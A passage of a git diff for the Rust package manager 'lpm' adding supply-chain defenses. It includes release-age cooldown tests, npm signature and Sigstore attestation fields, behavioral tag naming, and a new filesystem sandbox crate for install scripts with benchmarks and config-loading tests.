VERSION, + "main": "index.js", + }); + let package_json_bytes = serde_json::to_vec_pretty(&package_json).unwrap(); + let mut header = tar::Header::new_gnu(); + header.set_path("package/package.json").unwrap(); + header.set_size(package_json_bytes.len() as u64); + header.set_mode(0o644); + header.set_cksum(); + builder.append(&header, &package_json_bytes[..]).unwrap(); + + let index_js = b"module.exports = {};\n"; + let mut header = tar::Header::new_gnu(); + header.set_path("package/index.js").unwrap(); + header.set_size(index_js.len() as u64); + header.set_mode(0o644); + header.set_cksum(); + builder.append(&header, &index_js[..]).unwrap(); + + let tar_bytes = builder.into_inner().unwrap(); + let mut encoder = flate2::write::GzEncoder::new(Vec::new(), flate2::Compression::default()); + encoder.write_all(&tar_bytes).unwrap(); + encoder.finish().unwrap() +} + +/// Per-test project dir under a pid-namespaced tempdir so parallel +/// test runs don't collide. +fn project_dir(name: &str) -> PathBuf { + let dir = std::env::temp_dir() + .join("lpm-release-age-p3-ship-criteria") + .join(format!("{name}.{}", std::process::id())); + let _ = fs::remove_dir_all(&dir); + fs::create_dir_all(&dir).unwrap(); + dir +} + +fn write_manifest(dir: &Path, min_release_age: Option) { + let mut lpm = serde_json::Map::new(); + if let Some(secs) = min_release_age { + lpm.insert( + "minimumReleaseAge".to_string(), + serde_json::Value::Number(secs.into()), + ); + } + + let mut manifest = serde_json::json!({ + "name": "release-age-p3-ship-test", + "version": "1.0.0", + "dependencies": { + PACKAGE_NAME: VERSION, + }, + }); + if !lpm.is_empty() { + manifest["lpm"] = serde_json::Value::Object(lpm); + } + + fs::write( + dir.join("package.json"), + serde_json::to_string_pretty(&manifest).unwrap(), + ) + .unwrap(); +} + +/// Write `~/.lpm/config.toml` into the scoped HOME. `None` skips. +fn write_global_config(home: &Path, min_release_age_secs: Option) { + let Some(secs) = min_release_age_secs else { + return; + }; + let lpm_dir = home.join(".lpm"); + fs::create_dir_all(&lpm_dir).unwrap(); + fs::write( + lpm_dir.join("config.toml"), + format!("minimum-release-age-secs = {secs}\n"), + ) + .unwrap(); +} + +/// Run `lpm-rs` as a subprocess, scoped to `cwd` with a fresh +/// per-test HOME (so the developer's `~/.lpm/config.toml` never leaks +/// into the test; we write our own into the scoped HOME when needed). +fn run_lpm(cwd: &Path, args: &[&str], registry_url: &str) -> CommandOutput { + let exe = env!("CARGO_BIN_EXE_lpm-rs"); + let home = cwd.join(".home"); + fs::create_dir_all(&home).unwrap(); + + let mut command = Command::new(exe); + command + .args(args) + .current_dir(cwd) + .env("HOME", &home) + .env("NO_COLOR", "1") + .env("LPM_NO_UPDATE_CHECK", "1") + .env("LPM_DISABLE_TELEMETRY", "1") + .env("LPM_FORCE_FILE_VAULT", "1") + .env("LPM_REGISTRY_URL", registry_url) + .env_remove("LPM_TOKEN") + .env_remove("RUST_LOG"); + + let output = command.output().expect("failed to spawn lpm-rs"); + CommandOutput { + status: output.status, + stdout: String::from_utf8_lossy(&output.stdout).to_string(), + stderr: String::from_utf8_lossy(&output.stderr).to_string(), + } +} + +/// Shared setup: fresh project, mock registry serving a package published +/// `n_secs` ago. The caller supplies the manifest's `minimumReleaseAge` +/// (usually `None`) and an optional global-config seconds value, then +/// asserts on the subprocess output. +struct Fixture { + dir: PathBuf, + home: PathBuf, + mock: MockRegistry, +} + +/// Assertion helper: panic messages always include BOTH stdout and +/// stderr plus the exit status, so a failing assertion on a subprocess +/// test never leaves the author guessing which channel the output +/// landed on. +fn fail_with_context(out: &CommandOutput, what_failed: &str) -> ! { + panic!( + "{what_failed}\n exit: {:?}\n stdout:\n{}\n stderr:\n{}", + out.status.code(), + out.stdout, + out.stderr, + ); +} + +fn assert_cooldown_blocked(out: &CommandOutput) { + if out.status.success() { + fail_with_context(out, "install must fail with a cooldown block"); + } + let combined = format!("{}{}", out.stdout, out.stderr); + if !(combined.contains("blocked by minimumReleaseAge") + || combined.contains("published too recently")) + { + fail_with_context(out, "output must name the cooldown block"); + } +} + +fn assert_cooldown_not_blocked(out: &CommandOutput) { + let combined = format!("{}{}", out.stdout, out.stderr); + if combined.contains("blocked by minimumReleaseAge") + || combined.contains("published too recently") + { + fail_with_context(out, "cooldown must not fire but the block message appeared"); + } +} + +impl Fixture { + async fn build( + test_name: &str, + published_n_secs_ago: i64, + manifest_min_release_age: Option, + global_min_release_age_secs: Option, + ) -> Self { + let dir = project_dir(test_name); + let home = dir.join(".home"); + fs::create_dir_all(&home).unwrap(); + + write_manifest(&dir, manifest_min_release_age); + write_global_config(&home, global_min_release_age_secs); + + let mock = MockRegistry::start().await; + mock.mount_single_version(&iso8601_n_secs_ago(published_n_secs_ago)) + .await; + + Self { dir, home, mock } + } + + fn run(&self, args: &[&str]) -> CommandOutput { + // `run_lpm` recomputes `home` from `cwd.join(".home")`, which + // matches our `self.home` by construction. + let _ = &self.home; + run_lpm(&self.dir, args, &self.mock.url()) + } +} + +// ── §11 P3 ship criteria ────────────────────────────────────── + +/// Ship criterion 1: `lpm install --min-release-age=72h` blocks a +/// package published inside the 72h window. Without the flag the +/// default 24h already blocks a ~1h-old package, so we shorten the +/// manifest-side value to prove the CLI flag is what took effect. +#[tokio::test] +async fn cli_override_72h_blocks_fresh_package() { + // Publish time: 1h ago. Manifest disables the default (0 would + // short-circuit the check); CLI override re-enables it at 72h. + let fx = Fixture::build( + "cli_override_72h_blocks_fresh_package", + 3_600, + Some(0), + None, + ) + .await; + + let out = fx.run(&["install", "--min-release-age=72h"]); + + assert_cooldown_blocked(&out); + // The effective window value should be rendered — 72h = 259200s. + let combined = format!("{}{}", out.stdout, out.stderr); + if !combined.contains("259200") { + fail_with_context(&out, "output must render the effective 72h=259200s window"); + } +} + +/// Ship criterion 2: `--allow-new` bypasses the cooldown even when +/// `--min-release-age` is also set, because the two are orthogonal +/// per §8.3 / D16 — `--allow-new` short-circuits the gate at +/// install.rs:1641 BEFORE the resolver runs. +/// +/// The install may still fail for downstream reasons (no linker setup +/// in the scoped HOME, etc.); we only assert that the cooldown block +/// message is absent. The exit code is not asserted here — the +/// contract under test is "cooldown does not fire," nothing more. +#[tokio::test] +async fn allow_new_bypasses_cli_override() { + let fx = Fixture::build("allow_new_bypasses_cli_override", 3_600, Some(0), None).await; + + let out = fx.run(&["install", "--allow-new", "--min-release-age=72h"]); + + assert_cooldown_not_blocked(&out); +} + +/// Ship criterion 3: `~/.lpm/config.toml` key +/// `minimum-release-age-secs` overrides the 24h default when no CLI +/// flag and no `package.json` key are present. Package is published +/// 30 min ago; global = 3600s (1h); the default (86400) would also +/// block, so we assert the rendered policy value in stderr names +/// 3600 — proving the global layer is what took effect. +#[tokio::test] +async fn global_config_overrides_default() { + let fx = Fixture::build("global_config_overrides_default", 1_800, None, Some(3_600)).await; + + let out = fx.run(&["install"]); + + assert_cooldown_blocked(&out); + let combined = format!("{}{}", out.stdout, out.stderr); + if !combined.contains("3600") { + fail_with_context(&out, "output must render the global config's 3600s window"); + } + if combined.contains("86400") { + fail_with_context( + &out, + "86400 (default) must NOT appear — global config takes precedence", + ); + } +} + +/// Ship criterion 4: `package.json > lpm > minimumReleaseAge` +/// overrides the global config. Package is 30 min old; global = 3600 +/// (1h, would block); package.json = 60 (1min, would allow). The +/// manifest layer wins → install proceeds (no cooldown message). +#[tokio::test] +async fn package_json_overrides_global() { + let fx = Fixture::build( + "package_json_overrides_global", + 1_800, + Some(60), + Some(3_600), + ) + .await; + + let out = fx.run(&["install"]); + + assert_cooldown_not_blocked(&out); +} + +// ── §12.3 pin-bypass regression ────────────────────────────── + +/// §12.3 pin-bypass regression: `lpm install @lpm.dev/acme.widget@1.0.0` +/// with an explicit version pin must still block during the cooldown +/// window without `--allow-new`. v1 of the plan proposed pin-bypass +/// ("explicit pins bypass cooldown"); walking through the axios +/// attack showed that would be strictly less secure — renovate / +/// dependabot auto-pin PRs would then land compromised versions +/// during the detection window. v2 (this plan) explicitly rejects it +/// per D7 in §15. +/// +/// This test is the structural guard: if a future change introduces +/// a pin-specific bypass at the install gate, this test fails. +/// Package is 1h old, default 24h window applies, user types an +/// explicit exact-version spec — cooldown must still fire. +#[tokio::test] +async fn pin_does_not_bypass_cooldown() { + let fx = Fixture::build("pin_does_not_bypass_cooldown", 3_600, None, None).await; + + // Explicit exact-version pin on the command line. The resolver + // normalizes this to the same `packages` entry the cooldown gate + // would see for any other spec form, so the gate treats it + // identically. The plan's D7 analysis (§8.2) spells out why this + // is the intended behaviour. + let pinned_spec = format!("{PACKAGE_NAME}@{VERSION}"); + let out = fx.run(&["install", &pinned_spec]); + + assert_cooldown_blocked(&out); +} diff --git a/crates/lpm-common/src/paths.rs b/crates/lpm-common/src/paths.rs index 64493ffd..c8551a16 100644 --- a/crates/lpm-common/src/paths.rs +++ b/crates/lpm-common/src/paths.rs @@ -139,6 +139,15 @@ impl LpmRoot { self.cache_root().join("metadata") } + /// **Phase 46 P4.** Sigstore attestation snapshots captured per + /// `@name@version` during install-time provenance-drift checks. + /// Nested under `cache/metadata` deliberately so the existing + /// `lpm cache clean metadata` sweep already invalidates it — no + /// new cache category, no new command surface. + pub fn cache_metadata_attestations(&self) -> PathBuf { + self.cache_metadata().join("attestations") + } + pub fn cache_tasks(&self) -> PathBuf { self.cache_root().join("tasks") } diff --git a/crates/lpm-registry/src/types.rs b/crates/lpm-registry/src/types.rs index 6d9ded40..f80cf75c 100644 --- a/crates/lpm-registry/src/types.rs +++ b/crates/lpm-registry/src/types.rs @@ -179,6 +179,98 @@ pub struct BehavioralTags { pub no_license: bool, } +impl BehavioralTags { + /// The canonical, camelCase tag name of every field that is + /// currently `true`, sorted lexicographically. + /// + /// **Phase 46 P1** — the ordered input for + /// `lpm_security::triage::hash_behavioral_tag_set`. Names use the + /// same spelling as the registry's wire protocol so the hash is + /// portable across any tooling that speaks the registry schema + /// (registry, CLI, dashboard). + /// + /// Returning `Vec<&'static str>` (not `Vec`) keeps the + /// caller's allocation cost at the small-Vec-of-pointers level; + /// the static strings mirror the `#[serde(rename)]` attributes + /// above and the server-side `behavioral-tags.js` definition. + pub fn active_tag_names(&self) -> Vec<&'static str> { + let mut active: Vec<&'static str> = Vec::new(); + // Source tags (10) + if self.eval { + active.push("eval"); + } + if self.child_process { + active.push("childProcess"); + } + if self.shell { + active.push("shell"); + } + if self.network { + active.push("network"); + } + if self.filesystem { + active.push("filesystem"); + } + if self.crypto { + active.push("crypto"); + } + if self.dynamic_require { + active.push("dynamicRequire"); + } + if self.native_bindings { + active.push("nativeBindings"); + } + if self.environment_vars { + active.push("environmentVars"); + } + if self.web_socket { + active.push("webSocket"); + } + // Supply chain tags (7) + if self.obfuscated { + active.push("obfuscated"); + } + if self.high_entropy_strings { + active.push("highEntropyStrings"); + } + if self.minified { + active.push("minified"); + } + if self.telemetry { + active.push("telemetry"); + } + if self.url_strings { + active.push("urlStrings"); + } + if self.trivial { + active.push("trivial"); + } + if self.protestware { + active.push("protestware"); + } + // Manifest tags (5) + if self.git_dependency { + active.push("gitDependency"); + } + if self.http_dependency { + active.push("httpDependency"); + } + if self.wildcard_dependency { + active.push("wildcardDependency"); + } + if self.copyleft_license { + active.push("copyleftLicense"); + } + if self.no_license { + active.push("noLicense"); + } + // Sort so downstream hashing is order-stable regardless of + // struct-field declaration order or future additions. + active.sort(); + active + } +} + /// AI-detected security finding. #[derive(Debug, Clone, Serialize, Deserialize)] pub struct SecurityFinding { @@ -220,7 +312,7 @@ pub struct SwiftPlatform { pub version: Option, } -#[derive(Debug, Clone, Serialize, Deserialize)] +#[derive(Debug, Clone, Default, Serialize, Deserialize)] pub struct DistInfo { #[serde(default)] pub tarball: Option, @@ -230,6 +322,71 @@ pub struct DistInfo { #[serde(default)] pub shasum: Option, + + /// **Phase 46 P4.** Per-key detached package signatures (npm's + /// package-signing surface). Empty/missing when the registry does + /// not sign packages — which is the current state for the LPM + /// registry and many niche npm-compatible hosts. Parsed loosely + /// here; Chunk 2 wires the CLI-side fetcher, Chunk 3 wires the + /// drift check. Registry servers that do not publish this field + /// continue to round-trip through serde-default. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub signatures: Option>, + + /// **Phase 46 P4.** Sigstore attestation pointer. Present on + /// npm packages published via GitHub Actions with Trusted + /// Publishing. `None` indicates "no attestation" — which is the + /// exact axios-case signal when compared against a prior-approved + /// version that had one (§7.2 "provenance dropped" branch). + /// + /// The LPM registry does not expose this field today; the + /// coordinated server-side PR (§11 P4) adds it as a parallel + /// track. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub attestations: Option, +} + +/// **Phase 46 P4.** Per-key detached signature over the tarball +/// integrity hash, as served by npm's package-metadata +/// `dist.signatures` array. +/// +/// Fields are `Option` for maximum serde tolerance: a partial +/// signature payload (e.g., a registry that emits `keyid` without +/// `sig` during a rollout) does not fail deserialization. Consumers +/// should check both fields are `Some` before trusting the entry. +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +pub struct RegistrySignature { + /// npm's published public-key fingerprint, typically + /// `"SHA256:"`. + #[serde(default)] + pub keyid: Option, + /// Detached ECDSA signature (base64) over the signing input. + #[serde(default)] + pub sig: Option, +} + +/// **Phase 46 P4.** Pointer to a Sigstore attestation bundle for this +/// version, plus the pre-parsed provenance summary that npm inlines +/// in the metadata response. +/// +/// Chunk 1 models the wire shape loosely: `provenance` is kept as +/// `serde_json::Value` because its schema (SLSA predicateType + +/// subject array) is consumed only by the fetcher in Chunk 2, which +/// can type-parse on demand. The `url` pointer is the actionable +/// field for drift detection — the fetcher GETs it to retrieve the +/// full attestation bundle and extract the cert SAN. +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)] +pub struct AttestationRef { + /// Registry-relative URL to the full attestation bundle + /// (e.g., `https://registry.npmjs.org/-/npm/v1/attestations/axios@1.14.0`). + #[serde(default)] + pub url: Option, + /// Inline pre-parsed provenance summary. npm includes a JSON + /// object with `predicateType` and (optionally) the raw SLSA + /// statement. Kept untyped in Chunk 1; Chunk 2 types the subset + /// the fetcher consumes. + #[serde(default)] + pub provenance: Option, } impl PackageMetadata { @@ -671,3 +828,151 @@ pub struct MarketplaceEarningsResponse { #[serde(default, rename = "netRevenueCents")] pub net_revenue_cents: Option, } + +#[cfg(test)] +mod tests { + use super::*; + + // ── DistInfo round-trip with + without Phase 46 P4 fields ───── + + /// Legacy `DistInfo` response shape (registries that don't publish + /// provenance, incl. LPM today) must round-trip unchanged when the + /// new `signatures` / `attestations` fields are absent — both on + /// deserialization (via `serde(default)`) and on re-serialization + /// (via `skip_serializing_if = "Option::is_none"`). + #[test] + fn dist_info_legacy_shape_roundtrips_without_provenance_fields() { + let legacy = r#"{ + "tarball": "https://example.com/pkg-1.0.0.tgz", + "integrity": "sha512-abc", + "shasum": "deadbeef" + }"#; + let parsed: DistInfo = serde_json::from_str(legacy).unwrap(); + assert_eq!( + parsed.tarball.as_deref(), + Some("https://example.com/pkg-1.0.0.tgz") + ); + assert_eq!(parsed.integrity.as_deref(), Some("sha512-abc")); + assert_eq!(parsed.shasum.as_deref(), Some("deadbeef")); + assert!(parsed.signatures.is_none()); + assert!(parsed.attestations.is_none()); + + // Re-serialize and assert the new fields do NOT leak in as + // `null` keys. Pre-P4 readers wouldn't trip on extra nullable + // fields but the wire is cleaner without them. + let reserialized = serde_json::to_string(&parsed).unwrap(); + assert!( + !reserialized.contains("signatures"), + "legacy DistInfo must not emit a `signatures` key when None; got {reserialized}" + ); + assert!( + !reserialized.contains("attestations"), + "legacy DistInfo must not emit an `attestations` key when None; got {reserialized}" + ); + } + + /// npm wire shape: `dist.signatures` is an array of + /// `{keyid, sig}` pairs; `dist.attestations` is an object with + /// `url` and an inline `provenance` summary. Parse both fields + /// round-trip through serde without type surgery. + #[test] + fn dist_info_npm_shape_roundtrips_with_provenance_fields() { + let npm_wire = r#"{ + "tarball": "https://registry.npmjs.org/axios/-/axios-1.14.0.tgz", + "integrity": "sha512-xxx", + "shasum": "cafef00d", + "signatures": [ + {"keyid": "SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA", "sig": "MEUCIAbc..."} + ], + "attestations": { + "url": "https://registry.npmjs.org/-/npm/v1/attestations/axios@1.14.0", + "provenance": { "predicateType": "https://slsa.dev/provenance/v1" } + } + }"#; + let parsed: DistInfo = serde_json::from_str(npm_wire).unwrap(); + + let sigs = parsed.signatures.as_ref().expect("signatures parsed"); + assert_eq!(sigs.len(), 1); + assert!(sigs[0].keyid.as_deref().unwrap().starts_with("SHA256:")); + assert!(sigs[0].sig.as_deref().unwrap().starts_with("MEUCIAbc")); + + let att = parsed.attestations.as_ref().expect("attestations parsed"); + assert!( + att.url + .as_deref() + .unwrap() + .contains("/attestations/axios@1.14.0") + ); + let provenance = att.provenance.as_ref().expect("provenance parsed"); + assert_eq!( + provenance.get("predicateType").and_then(|v| v.as_str()), + Some("https://slsa.dev/provenance/v1"), + "inline provenance summary preserved as untyped JSON for Chunk 2 to type-parse on demand", + ); + + // Full round-trip through serde. + let reserialized = serde_json::to_string(&parsed).unwrap(); + let reparsed: DistInfo = serde_json::from_str(&reserialized).unwrap(); + assert_eq!(reparsed.signatures.as_ref().unwrap().len(), 1); + assert!(reparsed.attestations.is_some()); + } + + /// A registry that ships an empty signatures array (between + /// publishing a package and uploading its signature) must still + /// round-trip — `Some(vec![])` is a distinct signal from `None`. + #[test] + fn dist_info_empty_signatures_array_preserves_distinction_from_absent() { + let json = r#"{ + "tarball": "https://example.com/pkg-1.0.0.tgz", + "signatures": [] + }"#; + let parsed: DistInfo = serde_json::from_str(json).unwrap(); + assert_eq!( + parsed.signatures.as_ref().map(|s| s.len()), + Some(0), + "empty array must deserialize as Some(vec![]), distinct from missing key" + ); + } + + /// Partial signature payload — keyid without sig, or vice versa — + /// must not fail deserialization. A registry could emit a stub + /// during a rollout; consumers (Chunk 2 fetcher) check both + /// fields are `Some` before trusting an entry. + #[test] + fn registry_signature_tolerates_partial_payload() { + let keyid_only = r#"{"keyid": "SHA256:abc"}"#; + let parsed: RegistrySignature = serde_json::from_str(keyid_only).unwrap(); + assert_eq!(parsed.keyid.as_deref(), Some("SHA256:abc")); + assert!(parsed.sig.is_none()); + + let sig_only = r#"{"sig": "MEUCIAbc"}"#; + let parsed: RegistrySignature = serde_json::from_str(sig_only).unwrap(); + assert!(parsed.keyid.is_none()); + assert_eq!(parsed.sig.as_deref(), Some("MEUCIAbc")); + } + + /// `AttestationRef.provenance` is kept untyped in Chunk 1 so an + /// unexpected schema extension (a new npm field, a custom + /// predicate type) doesn't trip deserialization. Chunk 2 will + /// type-parse the subset the CLI fetcher actually consumes. + #[test] + fn attestation_ref_provenance_accepts_unknown_fields() { + let json = r#"{ + "url": "https://registry.example.com/att", + "provenance": { + "predicateType": "https://custom.example/predicate/v2", + "someFutureField": { "nested": true } + } + }"#; + let parsed: AttestationRef = serde_json::from_str(json).unwrap(); + assert!(parsed.url.is_some()); + let prov = parsed.provenance.as_ref().unwrap(); + assert_eq!( + prov.get("someFutureField") + .and_then(|v| v.get("nested")) + .and_then(|v| v.as_bool()), + Some(true), + "unknown fields must round-trip through the untyped serde_json::Value", + ); + } +} diff --git a/crates/lpm-sandbox/Cargo.toml b/crates/lpm-sandbox/Cargo.toml new file mode 100644 index 00000000..dfc3a5f9 --- /dev/null +++ b/crates/lpm-sandbox/Cargo.toml @@ -0,0 +1,35 @@ +[package] +name = "lpm-sandbox" +version.workspace = true +edition.workspace = true +license.workspace = true +repository.workspace = true +description = "Filesystem-scoped post-install script sandboxing for LPM (Phase 46 P5)" + +[dependencies] +thiserror = { workspace = true } +tracing = { workspace = true } +serde_json = { workspace = true } + +# Phase 46 P5 Chunk 3: filesystem sandboxing via landlock on Linux +# kernel 5.13+. Linux-target-gated so the macOS + Windows builds stay +# unaffected. The crate is MIT-licensed, zero transitive C deps. +# `libc` is needed for async-signal-safe primitives in the child's +# `pre_exec` closure (direct `write(2)` for stderr + raw errno +# values) — std::io's stderr path takes a lock and isn't safe +# post-fork in multi-threaded processes. +[target.'cfg(target_os = "linux")'.dependencies] +landlock = "0.4" +libc = "0.2" + +[dev-dependencies] +tempfile = "3" +dirs = { workspace = true } +criterion = "0.5" + +# Phase 46 P5 Chunk 5: per-spawn sandbox overhead. Establishes the +# baseline before Chunk 6+ auto-execution lands; regressions in +# profile rendering or syscall overhead surface here. +[[bench]] +name = "sandbox_spawn" +harness = false diff --git a/crates/lpm-sandbox/benches/sandbox_spawn.rs b/crates/lpm-sandbox/benches/sandbox_spawn.rs new file mode 100644 index 00000000..46afb003 --- /dev/null +++ b/crates/lpm-sandbox/benches/sandbox_spawn.rs @@ -0,0 +1,102 @@ +//! Per-spawn sandbox overhead micro-bench. Phase 46 P5 Chunk 5. +//! +//! Run: `cargo bench -p lpm-sandbox` +//! +//! What this measures: +//! - `factory_cold_enforce`: one call to [`new_for_platform`] with +//! `SandboxMode::Enforce`. On macOS this is Seatbelt profile +//! rendering (~50µs expected). On Linux it's a kernel probe via +//! `landlock_create_ruleset` (~microseconds). The Enforce backend +//! is the hot path every lifecycle script goes through. +//! - `factory_cold_noop`: the escape-hatch baseline. Validates +//! [`SandboxMode::Disabled`] stays near-free so +//! `--unsafe-full-env --no-sandbox` doesn't add meaningful overhead. +//! - `end_to_end_spawn_true`: full construct + `Sandbox::spawn` of +//! `/usr/bin/true` + `wait`. Represents the actual per-script +//! cost a lifecycle-script loop pays. Depends on host `fork` + +//! `execve` timing; brittle under system load, so this bench +//! exists to detect order-of-magnitude regressions, not +//! micro-fluctuations. +//! +//! Performance budget (informal): +//! - `factory_cold_enforce`: < 200µs on a warm system. +//! - `factory_cold_noop`: < 50µs. +//! - `end_to_end_spawn_true`: < 10ms. +//! +//! If any of these blow their budget by >2x, investigate before +//! shipping. Chunk 6's auto-execution loop amplifies per-spawn +//! regressions — a 1ms-per-spawn regression across 100 packages +//! is a 100ms install slowdown. + +use criterion::{Criterion, black_box, criterion_group, criterion_main}; +use lpm_sandbox::{SandboxMode, SandboxSpec, SandboxStdio, SandboxedCommand, new_for_platform}; +use std::path::PathBuf; + +fn realistic_spec() -> SandboxSpec { + let home = dirs::home_dir().expect("home dir for bench"); + SandboxSpec { + package_dir: home.join(".lpm/store/bench-pkg@0.1.0"), + project_dir: home.join("lpm-sandbox-bench-project"), + package_name: "bench-pkg".into(), + package_version: "0.1.0".into(), + store_root: home.join(".lpm/store"), + home_dir: home, + tmpdir: PathBuf::from("/tmp"), + extra_write_dirs: Vec::new(), + } +} + +fn bench_factory_cold_enforce(c: &mut Criterion) { + c.bench_function("factory_cold_enforce", |b| { + b.iter(|| { + let spec = realistic_spec(); + let sb = match new_for_platform(spec, SandboxMode::Enforce) { + Ok(sb) => sb, + // On kernels/platforms without sandbox support, the + // bench still runs (measures the rejection path). + // Don't panic — that'd kill `cargo bench` on CI + // runners without landlock. + Err(_) => return, + }; + black_box(sb.backend_name()); + }); + }); +} + +fn bench_factory_cold_noop(c: &mut Criterion) { + c.bench_function("factory_cold_noop", |b| { + b.iter(|| { + let spec = realistic_spec(); + let sb = new_for_platform(spec, SandboxMode::Disabled) + .expect("NoopSandbox must always succeed"); + black_box(sb.backend_name()); + }); + }); +} + +fn bench_end_to_end_spawn_true(c: &mut Criterion) { + c.bench_function("end_to_end_spawn_true", |b| { + b.iter(|| { + let spec = realistic_spec(); + let sb = match new_for_platform(spec, SandboxMode::Enforce) { + Ok(sb) => sb, + Err(_) => return, + }; + let mut cmd = + SandboxedCommand::new("/usr/bin/true").envs_cleared([("PATH", "/usr/bin:/bin")]); + cmd.stdout = SandboxStdio::Null; + cmd.stderr = SandboxStdio::Null; + let mut child = sb.spawn(cmd).expect("spawn /usr/bin/true"); + let status = child.wait().expect("wait"); + black_box(status); + }); + }); +} + +criterion_group!( + benches, + bench_factory_cold_enforce, + bench_factory_cold_noop, + bench_end_to_end_spawn_true, +); +criterion_main!(benches); diff --git a/crates/lpm-sandbox/src/config.rs b/crates/lpm-sandbox/src/config.rs new file mode 100644 index 00000000..0c144c0f --- /dev/null +++ b/crates/lpm-sandbox/src/config.rs @@ -0,0 +1,221 @@ +//! Loader for per-project sandbox configuration: the +//! `package.json > lpm > scripts > sandboxWriteDirs` escape hatch +//! (§9.6). +//! +//! This is the ONE place the shape of that key is read from disk. +//! `execute_script` calls [`load_sandbox_write_dirs`] once per +//! install and threads the resolved absolute paths into every +//! per-package [`crate::SandboxSpec`]. + +use crate::SandboxError; +use std::path::{Path, PathBuf}; + +/// Read `package.json > lpm > scripts > sandboxWriteDirs` and return +/// the resolved absolute paths. +/// +/// Resolution rules: +/// - Missing `package.json`, missing `lpm` section, missing `scripts` +/// key, or missing `sandboxWriteDirs` array: return an empty `Vec` +/// — the absence of the key means "no extras", not an error. +/// - The key must be a JSON array of strings. A non-array value or +/// non-string element surfaces as [`SandboxError::InvalidSpec`] so +/// the user sees a clear typo-level error rather than a silent +/// ignore. +/// - Each string entry: if absolute, kept verbatim; if relative, +/// joined onto `project_dir`. The result is always absolute so +/// downstream backends can render it without further context. +/// - Empty strings are rejected: they would resolve to `project_dir` +/// itself, which is already covered by the read allow-list and +/// would silently widen the write set to the entire project tree. +pub fn load_sandbox_write_dirs( + package_json: &Path, + project_dir: &Path, +) -> Result, SandboxError> { + let raw = match std::fs::read_to_string(package_json) { + Ok(s) => s, + Err(e) if e.kind() == std::io::ErrorKind::NotFound => return Ok(Vec::new()), + Err(e) => { + return Err(SandboxError::InvalidSpec { + reason: format!("failed to read {}: {e}", package_json.display()), + }); + } + }; + + let json: serde_json::Value = + serde_json::from_str(&raw).map_err(|e| SandboxError::InvalidSpec { + reason: format!("{} is not valid JSON: {e}", package_json.display()), + })?; + + let entries = match json + .get("lpm") + .and_then(|v| v.get("scripts")) + .and_then(|v| v.get("sandboxWriteDirs")) + { + Some(v) => v, + None => return Ok(Vec::new()), + }; + + let arr = entries + .as_array() + .ok_or_else(|| SandboxError::InvalidSpec { + reason: format!( + "{}: `lpm.scripts.sandboxWriteDirs` must be an array of strings, got {}", + package_json.display(), + entries + ), + })?; + + let mut resolved = Vec::with_capacity(arr.len()); + for (i, item) in arr.iter().enumerate() { + let s = item.as_str().ok_or_else(|| SandboxError::InvalidSpec { + reason: format!( + "{}: `lpm.scripts.sandboxWriteDirs[{i}]` must be a string, got {}", + package_json.display(), + item + ), + })?; + if s.is_empty() { + return Err(SandboxError::InvalidSpec { + reason: format!( + "{}: `lpm.scripts.sandboxWriteDirs[{i}]` is empty; an empty entry \ + would widen writes to the whole project", + package_json.display(), + ), + }); + } + let p = PathBuf::from(s); + let absolute = if p.is_absolute() { + p + } else { + project_dir.join(p) + }; + resolved.push(absolute); + } + + Ok(resolved) +} + +#[cfg(test)] +mod tests { + use super::*; + use std::fs; + use std::path::PathBuf; + + struct Env { + _tmp: tempfile::TempDir, + project: PathBuf, + package_json: PathBuf, + } + + fn fixture(package_json_body: &str) -> Env { + let tmp = tempfile::tempdir().expect("tempdir"); + let project = tmp.path().to_path_buf(); + let package_json = project.join("package.json"); + fs::write(&package_json, package_json_body).expect("write package.json"); + Env { + _tmp: tmp, + project, + package_json, + } + } + + #[test] + fn missing_package_json_returns_empty() { + let tmp = tempfile::tempdir().unwrap(); + let project = tmp.path().to_path_buf(); + let nonexistent = project.join("package.json"); + let v = load_sandbox_write_dirs(&nonexistent, &project).unwrap(); + assert!(v.is_empty()); + } + + #[test] + fn package_json_without_lpm_section_returns_empty() { + let e = fixture(r#"{"name":"x","version":"1.0.0"}"#); + let v = load_sandbox_write_dirs(&e.package_json, &e.project).unwrap(); + assert!(v.is_empty()); + } + + #[test] + fn package_json_without_sandbox_write_dirs_returns_empty() { + let e = fixture(r#"{"lpm":{"scripts":{"autoBuild":true}}}"#); + let v = load_sandbox_write_dirs(&e.package_json, &e.project).unwrap(); + assert!(v.is_empty()); + } + + #[test] + fn absolute_entry_kept_verbatim() { + let e = + fixture(r#"{"lpm":{"scripts":{"sandboxWriteDirs":["/home/u/.cache/ms-playwright"]}}}"#); + let v = load_sandbox_write_dirs(&e.package_json, &e.project).unwrap(); + assert_eq!(v.len(), 1); + assert_eq!(v[0], PathBuf::from("/home/u/.cache/ms-playwright")); + } + + #[test] + fn relative_entry_joined_to_project_dir() { + let e = fixture(r#"{"lpm":{"scripts":{"sandboxWriteDirs":["build-output"]}}}"#); + let v = load_sandbox_write_dirs(&e.package_json, &e.project).unwrap(); + assert_eq!(v.len(), 1); + assert_eq!(v[0], e.project.join("build-output")); + assert!(v[0].is_absolute()); + } + + #[test] + fn multiple_entries_preserved_in_order() { + let e = fixture( + r#"{"lpm":{"scripts":{"sandboxWriteDirs":["/abs/one","rel-two","/abs/three"]}}}"#, + ); + let v = load_sandbox_write_dirs(&e.package_json, &e.project).unwrap(); + assert_eq!(v.len(), 3); + assert_eq!(v[0], PathBuf::from("/abs/one")); + assert_eq!(v[1], e.project.join("rel-two")); + assert_eq!(v[2], PathBuf::from("/abs/three")); + } + + #[test] + fn non_array_value_errors_with_actionable_message() { + let e = fixture(r#"{"lpm":{"scripts":{"sandboxWriteDirs":"not-an-array"}}}"#); + match load_sandbox_write_dirs(&e.package_json, &e.project) { + Err(SandboxError::InvalidSpec { reason }) => { + assert!(reason.contains("sandboxWriteDirs")); + assert!(reason.contains("array")); + } + other => panic!("expected InvalidSpec, got {other:?}"), + } + } + + #[test] + fn non_string_element_errors_with_index() { + let e = fixture(r#"{"lpm":{"scripts":{"sandboxWriteDirs":["ok",42]}}}"#); + match load_sandbox_write_dirs(&e.package_json, &e.project) { + Err(SandboxError::InvalidSpec { reason }) => { + assert!(reason.contains("sandboxWriteDirs[1]")); + assert!(reason.contains("string")); + } + other => panic!("expected InvalidSpec, got {other:?}"), + } + } + + #[test] + fn 